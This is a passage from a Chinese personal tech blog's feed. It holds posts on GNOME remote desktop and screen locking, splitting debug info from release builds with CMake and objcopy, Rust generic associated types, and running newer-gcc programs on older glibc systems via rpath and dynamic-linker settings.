&lt;h3 id=&quot;suo-ping-shi-shi-yong-yuan-cheng-zhuo-mian&quot;&gt;锁屏时使用远程桌面&lt;&#x2F;h3&gt;
&lt;p&gt;根据 GNOME 远程桌面的设计，远程和本地的屏幕是同步的，本地屏幕锁定时，远程桌面的连接就会断开。&lt;&#x2F;p&gt;
&lt;p&gt;这与 Windows 接入远程桌面后就会让本地桌面自动进入锁定的运作方式不同。并且 GNOME 官方没有对这个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.gnome.org&#x2F;GNOME&#x2F;gnome-shell&#x2F;-&#x2F;issues&#x2F;3212&quot;&gt;功能请求&lt;&#x2F;a&gt;做正式回复。&lt;&#x2F;p&gt;
&lt;p&gt;目前暂时关闭了自动锁屏。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux上编译release并剥离调试信息</title>
        <published>2024-10-22T00:00:00+00:00</published>
        <updated>2024-10-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux上编译release并剥离调试信息/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux上编译release并剥离调试信息/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux上编译release并剥离调试信息/">&lt;h1 id=&quot;linuxshang-bian-yi-releasebing-bo-chi-diao-shi-xin-xi&quot;&gt;linux上编译release并剥离调试信息&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;本文讲的是不编译完全release的可执行文件,而是使用cmake的RelWithDebugInfo(附加调试信息的编译,它的效果下面会说明)或者Debug编译也可以生成release版本的可执行文件进行调试.

详细的 cmake 使用会在下一篇文章里讲.

这里先记下Debug, Release 和 RelWithDebugInfo的区别(对比我手上的gcc 4.8.2编译出的不同版本得出的结论)

Debug 等同于 -O0 -g 编译选项, 不优化代码, 附加调试信息
Release 等同于 -O3 编译选项, 最大化优化代码, 但不包含调试信息
RelWithDebugInfo 等同于 -O2 -g 编译选项, 中等程度优化代码, 并且包含调试信息.
可以自定义使用-O3 -g 的编译选项,来生成最接近Release的代码(至于-ggdb的选项,加了以后二进制只大了8个字节,目测无所谓)

下面的方法只对-g编译有效,方法有两种.

man手册里推荐的方法

objcopy –only-keep-debug foo foo.dbg 把调试信息(即debug section)dump到单独的文件里.
objcopy –strip-debug foo 这里只剔除调试信息,符号信息仍保留(用户依然可以用nm查看到各种函数符号,我推荐用–strip-all,连同符号信息一起删除,生成的可执行文件更小,不影响调试)
objcopy –add-gnu-debuglink=foo.dbg foo 为foo添加.gnu-debuglink section, 这个会让二进制增加近100字节的样子.
这样分离了Debug Section后,就可以单独分发release版本的foo,调试时只需讲foo.dbg放在和foo同一目录下即可直接gdb foo进行调试.
如果不希望Release的最终二进制文件包含.gnu-debuglink段,那么可以直接省略第三步,且当成另一种方法,方便叙述.

同一
strip foo 这个效果等同于objcopy –strip-all foo,剔除所有符号和调试信息, 即为release版本.
方法二所不同的调试方法是需先加载dbg文件, gdb foo.dbg, 然后attach(或者exec)到foo进程,这样不要求.dbg和执行程序在同一个目录下,并且适合调试已经启动的进程,例如服务器.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ce-shi&quot;&gt;测试&lt;&#x2F;h2&gt;
&lt;p&gt;测试demo：CMakeLists.txt&lt;&#x2F;p&gt;
&lt;p&gt;命令执行的时机由如下参数决定：
1.PRE_BUILD - 命令将会在其他依赖项执行前执行
2.PRE_LINK - 命令将会在其他依赖项执行完后执行
3.POST_BUILD - 命令将会在目标构建完后执行。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cmake_minimum_required(VERSION 3.5)

# set the project name
project(test_EXE)

#SET(CMAKE_BUILD_TYPE Release)
set(CMAKE_CXX_FLAGS_DEBUG &amp;quot;-g&amp;quot;)
set(CMAKE_C_FLAGS_DEBUG &amp;quot;-g&amp;quot;)
set(CMAKE_CXX_FLAGS_RELEASE &amp;quot;-g -O3 -DNDEBUG&amp;quot;)
set(CMAKE_C_FLAGS_RELEASE &amp;quot;-g -O3 -DNDEBUG&amp;quot;)
set(EXECUTABLE_OUTPUT_PATH ${PROJECT_SOURCE_DIR}&amp;#x2F;bin)

add_executable(test_EXE
test.cpp
)#定义命令用于从release中剔除符号表和调试信息
add_custom_command(TARGET test_EXE
    POST_BUILD
    COMMAND objcopy --only-keep-debug ${EXECUTABLE_OUTPUT_PATH}&amp;#x2F;test_EXE  ${EXECUTABLE_OUTPUT_PATH}&amp;#x2F;test_EXE.debug
    COMMAND objcopy --strip-all ${EXECUTABLE_OUTPUT_PATH}&amp;#x2F;test_EXE
    COMMAND objcopy --add-gnu-debuglink=${EXECUTABLE_OUTPUT_PATH}&amp;#x2F;test_EXE.debug ${EXECUTABLE_OUTPUT_PATH}&amp;#x2F;test_EXE
    COMMENT &amp;quot;**** test cmake command: run obj copy&amp;quot;
)

#在构建过程中执行自定义命令,文件安装；可自行替换可以运行install(FILES ${EXECUTABLE_OUTPUT_PATH}&amp;#x2F;test_EXE.debug DESTINATION ${EXECUTABLE_OUTPUT_PATH})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;chrono&amp;gt;
#include &amp;lt;thread&amp;gt;
void PrintInfo()
{
    printf(&amp;quot;load fun print info..........\n&amp;quot;);

}

int addfun(int a ,int b)
{
    printf(&amp;quot;will run a+b:%d\n&amp;quot;,(a+b));
    return a+b;

}

int main(void)
{
    int a=3,b=5;
    PrintInfo();
    int c = addfun(a,b);
    printf(&amp;quot;-----print a+b ok\n&amp;quot;);
    while(1)
         {
    static int c =0;
                      static int d =1;
                      addfun(c,d);
    c++;
    d++;
                     std::this_thread::sleep_for(std::chrono::seconds(1)); &amp;#x2F;&amp;#x2F;Ãë
           }
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;测试的时候使用cmake -DCMAKE_BUILD_TYPE=Release生成Makefile，然后输入make命令生成exe；&lt;strong&gt;注意这些操作要在root下&lt;&#x2F;strong&gt;，否则会出现无法调试，如continue的时候出现 the program is not running等；&lt;&#x2F;p&gt;
&lt;p&gt;自测程序如果top 找不到Pid,请用pidof命令查找&lt;&#x2F;p&gt;
&lt;p&gt;我们先看没有符号表的，就是在文件夹中只有test_EXE,没有调试debug文件的：&lt;&#x2F;p&gt;
&lt;p&gt;可以看到pidof test_EXE，然后gdb attach pid后，打断点根本不会停；&lt;&#x2F;p&gt;
&lt;p&gt;然后我们把刚刚一起编译的test_EXE.debug放到同一个目录下 &lt;strong&gt;（不用重启程序，因为实际情况下，一般都是项目运行中如果出错，你重启程序编译debug调试，或者重启添加debug符号，现象有可能就无法出现了，我们就是要在出错的release版本下，添加符号直接调试）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-strip-debug&#x2F;gdb-attach-debug-symbols.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;综上就可以同时编译release以及剥离出来的debug调试信息，如果现场遇到需要调试的情况就可以直接把debug文件放进运行目录，在线调试，而不必停止程序的运行；&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>了解一点关于泛型关联类型(GAT)的事</title>
        <published>2024-10-18T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/了解一点关于泛型关联类型-gat-的事/"/>
        <id>https://vercel.juzhong.asia/obsidian/了解一点关于泛型关联类型-gat-的事/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/了解一点关于泛型关联类型-gat-的事/">&lt;h1 id=&quot;liao-jie-yi-dian-guan-yu-fan-xing-guan-lian-lei-xing-gat-de-shi&quot;&gt;了解一点关于泛型关联类型(GAT)的事&lt;&#x2F;h1&gt;
&lt;p&gt;这名字好长！这是啥子哟？&lt;&#x2F;p&gt;
&lt;p&gt;不要紧，我们从头理理。咱们先来温习一下Rust的语法结构。Rust程序是什么构成的？答案是：条目(item)。&lt;&#x2F;p&gt;
&lt;p&gt;每个Rust程序都是一条一条的，每个都是一个条目。比如你在main.rs里写一个结构体定义， 再写一个实现定义为它加两个方法，再写一个main函数。这就是crate对应的模块条目里的三个条目。&lt;&#x2F;p&gt;
&lt;p&gt;说完了条目，咱们再来说关联条目。关联条目不是条目！重点就是在“关联”俩字上，什么是关联呢？ 其实就是“跟某个类型有关”，效果就是可以使用一个专门的关键字叫做Self。 这个关键词就是用来指代刚才说的那个类型的。&lt;&#x2F;p&gt;
&lt;p&gt;关联条目可以定义在两处，一个是特质定义的花括号中，一个是实现定义的花括号中。&lt;&#x2F;p&gt;
&lt;p&gt;关联条目一共有三种：关联常数，关联函数，关联类型(别名)；它们与条目中的三种：常数、函数、类型(别名) 一一对应。&lt;&#x2F;p&gt;
&lt;p&gt;举个栗子吧！&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
#![feature(generic_associated_types)]
#![allow(incomplete_features)]
fn main() {
const A: usize = 42;
fn b&amp;lt;T&amp;gt;() {}
type C&amp;lt;T&amp;gt; = Vec&amp;lt;T&amp;gt;;

trait X {
    const D: usize;
    fn e&amp;lt;T&amp;gt;();
    type F&amp;lt;T&amp;gt;; &amp;#x2F;&amp;#x2F; 新加的就是这个！之前在这里不可以写&amp;lt;T&amp;gt;
}

struct S;
impl X for S {
    const D: usize = 42;
    fn e&amp;lt;T&amp;gt;() {}
    type F&amp;lt;T&amp;gt; = Vec&amp;lt;T&amp;gt;;
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个有啥用咧？&lt;&#x2F;p&gt;
&lt;p&gt;蛮有用的，但是仅仅是在特定的场景之下。Rust社区里对泛型关联类型有两个用例是非常经典的，我们先试着介绍它们一下。&lt;&#x2F;p&gt;
&lt;p&gt;但是在开始介绍之前，我们还要再来温习一下泛型。泛型这个词英文是generic，其实是通用的意思。 泛型类型是什么呢？简单来说，就是缺点什么参数的类型，让使用的人填充。&lt;&#x2F;p&gt;
&lt;p&gt;顺便说一下，前人把它意译取名叫泛型，因为很多系统里能填的参数是类型。其实在Rust里面，不只是类型可以当泛型参数。 泛型参数有三种：类型、生存期、常数。&lt;&#x2F;p&gt;
&lt;p&gt;好，我们来看一个具体的泛型类型的例子：&lt;code&gt;Rc&lt;&#x2F;code&gt;，它是具有一个泛型参数的泛型类型。 泛型类型Rc不是类型哈，只有提供了这个泛型参数的“实参”，才是真正的类型，比如&lt;code&gt;Rc&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如果我写一个数据结构，里面要共享数据，但是我事先不知道使用者到底需要我在这里用Rc还是Arc，怎么办呢？ 最简单的方法就是代码写两遍，这个听起来有点笨拙，确实也是如此，但是也是确实有效的。 随口一提，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;crates.io&#x2F;&quot;&gt;http:&#x2F;&#x2F;crates.io&lt;&#x2F;a&gt;上有俩库im和im-rc代码主要区别就是里面用的是Arc还是Rc。 实际上泛型关联类型就可以很好的解决这个问题，接下来， 我们就来看泛型关联类型的第一个经典使用场景：类型家族(type family)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ren-wu-1-yong-fan-xing-guan-lian-lei-xing-zhi-chi-lei-xing-jia-zu&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-gat.html#%E4%BB%BB%E5%8A%A11%E7%94%A8%E6%B3%9B%E5%9E%8B%E5%85%B3%E8%81%94%E7%B1%BB%E5%9E%8B%E6%94%AF%E6%8C%81%E7%B1%BB%E5%9E%8B%E5%AE%B6%E6%97%8F&quot;&gt;任务#1：用泛型关联类型支持类型家族&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;好，现在我们来做一个“选择器”，让编译器根据这个选择器来知道需要用的到底是&lt;code&gt;Rc&lt;&#x2F;code&gt;还是&lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;。代码长这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
trait PointerFamily {
    type PointerType&amp;lt;T&amp;gt;;
}

struct RcPointer;

impl PointerFamily for RcPointer {
    type PointerType&amp;lt;T&amp;gt; = Rc&amp;lt;T&amp;gt;;
}

struct ArcPointer;

impl PointerFamily for ArcPointer {
    type PointerType&amp;lt;T&amp;gt; = Arc&amp;lt;T&amp;gt;;
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;挺简单的吧，这样你就定义了两个“选择器”类型，可以用它来代表要用的是Rc还是Arc。实际用用看：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
struct MyDataStructure&amp;lt;T, PointerSel: PointerFamily&amp;gt; {
    data: PointerSel::PointerType&amp;lt;T&amp;gt;
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样你泛型参数用&lt;code&gt;RcPointer&lt;&#x2F;code&gt;或者&lt;code&gt;ArcPointer&lt;&#x2F;code&gt; 就可以选择实际的数据表示了。 有了这个功能，刚才说的两个包就可以合成一个包了。好耶~&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ren-wu-2-yong-fan-xing-guan-lian-lei-xing-shi-xian-liu-shi-chu-li-die-dai-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_5&#x2F;rust-gat.html#%E4%BB%BB%E5%8A%A12%E7%94%A8%E6%B3%9B%E5%9E%8B%E5%85%B3%E8%81%94%E7%B1%BB%E5%9E%8B%E5%AE%9E%E7%8E%B0%E6%B5%81%E5%BC%8F%E5%A4%84%E7%90%86%E8%BF%AD%E4%BB%A3%E5%99%A8&quot;&gt;任务#2：用泛型关联类型实现流式处理迭代器&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;另一个问题其实是Rust比较特有的，其他语言里，要么不存在这个问题（古尔丹：代价是什么呢？）， 要么，放弃治疗这个问题（咳咳）。&lt;&#x2F;p&gt;
&lt;p&gt;这个问题是这样的，希望在API接口上表示输入值与输入值之间、输入值与输出值之间的依赖关系。 依赖关系并不是一个很容易表达出来的东西。Rust的方案是什么呢？ 在Rust里，这个人见人爱的生存期小标记&lt;code&gt;&#x27;_&lt;&#x2F;code&gt;大家都见过啦。它就负责在API上表示这种依赖关系的对应。&lt;&#x2F;p&gt;
&lt;p&gt;我们来实际用用这个生存期标记，标准库里的迭代器特质大家都见过，它长这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub trait Iterator {
    type Item;

    pub fn next(&amp;amp;&amp;#x27;_ mut self) -&amp;gt; Option&amp;lt;Self::Item&amp;gt;;
    &amp;#x2F;&amp;#x2F; ...
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;挺好的，但是有个小问题。Item类型的值是与Iterator本身的类型(Self)完全不能有依赖关系的。为什么呢？ 因为你从Iterator取一个值这个动作，产生的这个临时范围（也就是上面的&#x27;_），是next这个关联函数的泛型参数。 定义的Item是单独的另一个关联类型，怎么可能用到呢？&lt;&#x2F;p&gt;
&lt;p&gt;大多数时候这个不是什么问题，但是对于某些库的API来说，这个就不够用了。 比如假如有一个迭代器，依次递给用户一些临时文件用，用户什么时候关闭都可以。这个时候你用Iterator，没有任何问题。 但是要是每次生成一个临时文件，加载一个什么数据，你用完之后它需要关闭临时文件来删除的那种， 这个迭代器肯定就会希望你能够告诉它你用完了。这样它就可以删掉临时文件了， 或者干脆不删除，而是直接复用它的存储空间来存下一个文件，这些都是ok的。&lt;&#x2F;p&gt;
&lt;p&gt;所以这个时候我们可以用泛型关联类型来设计这个API。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub trait StreamingIterator {
    type Item&amp;lt;&amp;#x27;a&amp;gt;;

    pub fn next(&amp;amp;&amp;#x27;_ mut self) -&amp;gt; Option&amp;lt;Self::Item&amp;lt;&amp;#x27;_&amp;gt;&amp;gt;;
    &amp;#x2F;&amp;#x2F; ...
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实现时你其实就可以让Item的类型是一个带依赖的类型，比如一个借用， 类型系统能够保证你在下次调用next或者移动析构这个迭代器之前，Item已经不再被用户使用了。好耶~&lt;&#x2F;p&gt;
&lt;p&gt;你讲的太接地气了，能不能来点抽象的？ 好嘞，从现在起我们开始不说人话了。先说一下，这里要说的依然是简化过的，比如我们会把各种binder和predicate放一边。&lt;&#x2F;p&gt;
&lt;p&gt;首先我们来建立泛型类型的名字和具体类型之间的关系。当然就是个映射关系了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
&amp;#x2F;&amp;#x2F;&amp;#x2F; 伪代码
fn generic_type_mapping(_: GenericTypeCtor, _: Vec&amp;lt;GenericArg&amp;gt;) -&amp;gt; Type;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如&lt;code&gt;Vec&amp;lt;GenericArg&amp;gt;&lt;&#x2F;code&gt;中，Vec就是这个泛型类型的名字也是它的构造器, `` 是这个泛型参数的列表，就一项。经过了这个映射，得到了一个&lt;code&gt;Vec&amp;lt;GenericArg&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;好，然后是特质，啥是特质啊，特质其实也是一个映射。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
&amp;#x2F;&amp;#x2F;&amp;#x2F; 伪代码
fn trait_mapping(_: Type, _: Trait) -&amp;gt; Option&amp;lt;Vec&amp;lt;AssociateItem&amp;gt;&amp;gt;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里这个Trait可以起到一个谓词的作用，也就是拿它来对某个类型做判定，结论要么是None，表示“不符合这个特质”， 要么是一个Some(items) ，表示“这个类型符合这个特质”，并映射出一串关联条目。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
&amp;#x2F;&amp;#x2F;&amp;#x2F; 伪代码
enum AssociateItem {
    AssociateType(Name, Type),
    GenericAssociateType(Name, GenericTypeCtor), &amp;#x2F;&amp;#x2F; 这次新加的
    AssociatedFunction(Name, Func),
    GenericFunction(Name, GenericFunc),
    AssociatedConst(Name, Const),
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里的&lt;code&gt;AssociateItem::GenericAssociateType&lt;&#x2F;code&gt;是当前rust里唯一一处间接地执行generic_type_mapping的地方。 通过给trait_mapping的第一个参数传不同的Type，就可以用相同的Trait获取到不同的GenericTypeCtor， 然后执行generic_type_mapping，从而在Rust的语法框架下达到了让不同的GenericTypeCtor跟指定的&lt;code&gt;Vec&amp;lt;GenericArg&amp;gt;&lt;&#x2F;code&gt;组合的目的！&lt;&#x2F;p&gt;
&lt;p&gt;顺便提一下，GenericTypeCtor这类东西，就是某些文章里面介绍的HKT。通过以上描述的这套方法，Rust里第一次加入了供用户使用的HKT能力。 虽然只有这一种形式，但是其他使用形式都可以通过这一种形式做出来。总之就是，奇怪的能力增加了！&lt;&#x2F;p&gt;
&lt;p&gt;我和小鸭子学走路 好嘞，作为收尾，我们来试着用 GAT 仿制一些其他语言的一些构造。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
#![feature(generic_associated_types)]
#![allow(incomplete_features)]

fn main() {
trait FunctorFamily {
    type Type&amp;lt;T&amp;gt;;

    fn fmap&amp;lt;T, U, F&amp;gt;(value: Self::Type&amp;lt;T&amp;gt;, f: F) -&amp;gt; Self::Type&amp;lt;U&amp;gt;
    where
        F: FnMut(T) -&amp;gt; U;
}

trait ApplicativeFamily: FunctorFamily {
    fn pure&amp;lt;T&amp;gt;(inner: T) -&amp;gt; Self::Type&amp;lt;T&amp;gt;;

    fn apply&amp;lt;T, U, F&amp;gt;(value: Self::Type&amp;lt;T&amp;gt;, f: Self::Type&amp;lt;F&amp;gt;) -&amp;gt; Self::Type&amp;lt;U&amp;gt;
    where
        F: FnMut(T) -&amp;gt; U;
}

trait MonadFamily: ApplicativeFamily {
    fn bind&amp;lt;T, U, F&amp;gt;(value: Self::Type&amp;lt;T&amp;gt;, f: F) -&amp;gt; Self::Type&amp;lt;U&amp;gt;
    where
        F: FnMut(T) -&amp;gt; Self::Type&amp;lt;U&amp;gt;;
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们来给一个“选择器”实现这些类型：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
struct OptionType;

impl FunctorFamily for OptionType {
    type Type&amp;lt;T&amp;gt; = Option&amp;lt;T&amp;gt;;

    fn fmap&amp;lt;T, U, F&amp;gt;(value: Self::Type&amp;lt;T&amp;gt;, f: F) -&amp;gt; Self::Type&amp;lt;U&amp;gt;
    where
        F: FnMut(T) -&amp;gt; U,
    {
        value.map(f)
    }
}

impl ApplicativeFamily for OptionType {
    fn pure&amp;lt;T&amp;gt;(inner: T) -&amp;gt; Self::Type&amp;lt;T&amp;gt; {
        Some(inner)
    }

    fn apply&amp;lt;T, U, F&amp;gt;(value: Self::Type&amp;lt;T&amp;gt;, f: Self::Type&amp;lt;F&amp;gt;) -&amp;gt; Self::Type&amp;lt;U&amp;gt;
    where
        F: FnMut(T) -&amp;gt; U,
    {
        value.zip(f).map(|(v, mut f)| f(v))
    }
}

impl MonadFamily for OptionType {
    fn bind&amp;lt;T, U, F&amp;gt;(value: Self::Type&amp;lt;T&amp;gt;, f: F) -&amp;gt; Self::Type&amp;lt;U&amp;gt;
    where
        F: FnMut(T) -&amp;gt; Self::Type&amp;lt;U&amp;gt;,
    {
        value.and_then(f)
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;好嘞，然后我们就可以通过OptionType这个“选择器”来表达、使用Option作为Functor, Applicative, Monad 的性质了。 怎么样，是不是打开了无数的新的可能性？&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>高版本gcc编译出的程序在低版本glibc机器上运行</title>
        <published>2024-10-11T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/高版本gcc编译出的程序在低版本glibc机器上运行/"/>
        <id>https://vercel.juzhong.asia/obsidian/高版本gcc编译出的程序在低版本glibc机器上运行/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/高版本gcc编译出的程序在低版本glibc机器上运行/">&lt;h1 id=&quot;gao-ban-ben-gccbian-yi-chu-de-cheng-xu-zai-di-ban-ben-glibcji-qi-shang-yun-xing&quot;&gt;高版本gcc编译出的程序在低版本glibc机器上运行&lt;&#x2F;h1&gt;
&lt;p&gt;比如我们用gcc 9.3.0编译程序，但需要发布的机器gcc版本是4.8.5，怎么办？&lt;&#x2F;p&gt;
&lt;p&gt;你可能想到如下方法&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;静态编译&lt;&#x2F;li&gt;
&lt;li&gt;容器发布&lt;&#x2F;li&gt;
&lt;li&gt;打包依赖的so，使用本地so运行程序&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;1-jing-tai-bian-yi&quot;&gt;1.静态编译&lt;&#x2F;h2&gt;
&lt;p&gt;将libc和libstdc++静态编译，编译时带上如下参数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;g++ -static-libgcc -static-libstdc++
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;glibc并不推荐静态链接，你依赖的其他库可能依赖的了glibc，并且往往是动态链接的，可以通过&lt;code&gt;nm | grep GLIBC_&lt;&#x2F;code&gt;确定你的程序是否依赖了glibc。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-rong-qi-fa-bu&quot;&gt;2.容器发布&lt;&#x2F;h2&gt;
&lt;p&gt;使用携带gcc9.3.0环境的容器发布程序，是可以的。但是在一些没有容器且没有sudo权限的场合，依然不太友好。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-da-bao-yi-lai-de-sofa-bu&quot;&gt;3.打包依赖的so发布&lt;&#x2F;h2&gt;
&lt;p&gt;这个方法虽然听起来不是很优雅，但其实如果你对elf文件有一些了解，是不错的方式。下面说下具体的方法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-fang-shi-1-zai-bian-yi-shi-she-zhi-rpathhe-dynamic-linker&quot;&gt;3.1 方式1 在编译时设置rpath和dynamic linker&lt;&#x2F;h3&gt;
&lt;p&gt;当你有条件获得程序源码，并能够重新编译时，可以直接在编译时指定相关参数来解决。
先说编译时要增加的参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;csharp&quot; class=&quot;language-csharp &quot;&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;# 绝对路径
gcc -Wl,-rpath=&amp;#x27;&amp;#x2F;my&amp;#x2F;lib&amp;#x27;,-dynamic-linker=&amp;#x27;&amp;#x2F;my&amp;#x2F;lib&amp;#x2F;ld-linux.so.2&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;gcc参数&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;-Wl,option
Pass option as an option to the linker.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;ld参数&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects.
--dynamic-linker=file
Set the name of the dynamic linker.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这两个参数分别设置的elf文件中的rpath和interpreter字段。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;rpath&lt;&#x2F;strong&gt;
全名&lt;code&gt;run-time search path&lt;&#x2F;code&gt;，是elf文件中一个字段，它指定了可执行文件执行时搜索so文件的第一优先位置，一般编译器默认将该字段设为空。elf文件中还有一个类似的字段runpath，其作用与rpath类似，但搜索优先级稍低。搜索优先级:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;rpath &amp;gt; LD_LIBRARY_PATH &amp;gt; runpath &amp;gt; ldconfig缓存 &amp;gt; 默认的&amp;#x2F;lib,&amp;#x2F;usr&amp;#x2F;lib等
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你需要使用相对路径指定lib文件夹，可以使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;links.jianshu.com&#x2F;go?to=https%3A%2F%2Fwww.technovelty.org%2Flinux%2Fexploring-origin.html&quot;&gt;ORIGIN&lt;&#x2F;a&gt;变量，ld会将ORIGIN理解成可执行文件所在的路径。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;dart&quot; class=&quot;language-dart &quot;&gt;&lt;code class=&quot;language-dart&quot; data-lang=&quot;dart&quot;&gt;gcc -Wl,-rpath=&amp;#x27;$ORIGIN&amp;#x2F;..&amp;#x2F;lib&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;interpreter&lt;&#x2F;strong&gt;
动态库加载器，程序启动时，操作系统会先把控制权转交给ld-linux-x86-64.so.2，该so负责加载所有程序依赖的so。。这个字段在链接时会帮你自动设置，64bit程序一般为&lt;code&gt;&#x2F;lib64&#x2F;ld-linux-x86-64.so.2&lt;&#x2F;code&gt;。修改rpath或者LD_LIBRARY_PATH指向本地lib目录，但通过ldd程序，发现&#x2F;lib64&#x2F;ld-linux-x86-64.so.2这个so仍然指向系统so。原因就是这个字段是写死在elf文件中的，并不受LD_LIBRARY_PATH影响。&lt;&#x2F;p&gt;
&lt;p&gt;编译时带上这两个参数，下面只需要将你程序依赖的so打包一份，随程序进行发布即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-fang-shi-2-zhi-jie-xiu-gai-er-jin-zhi-cheng-xu-de-rpathhe-interpreter&quot;&gt;3.2 方式2 直接修改二进制程序的rpath和interpreter&lt;&#x2F;h3&gt;
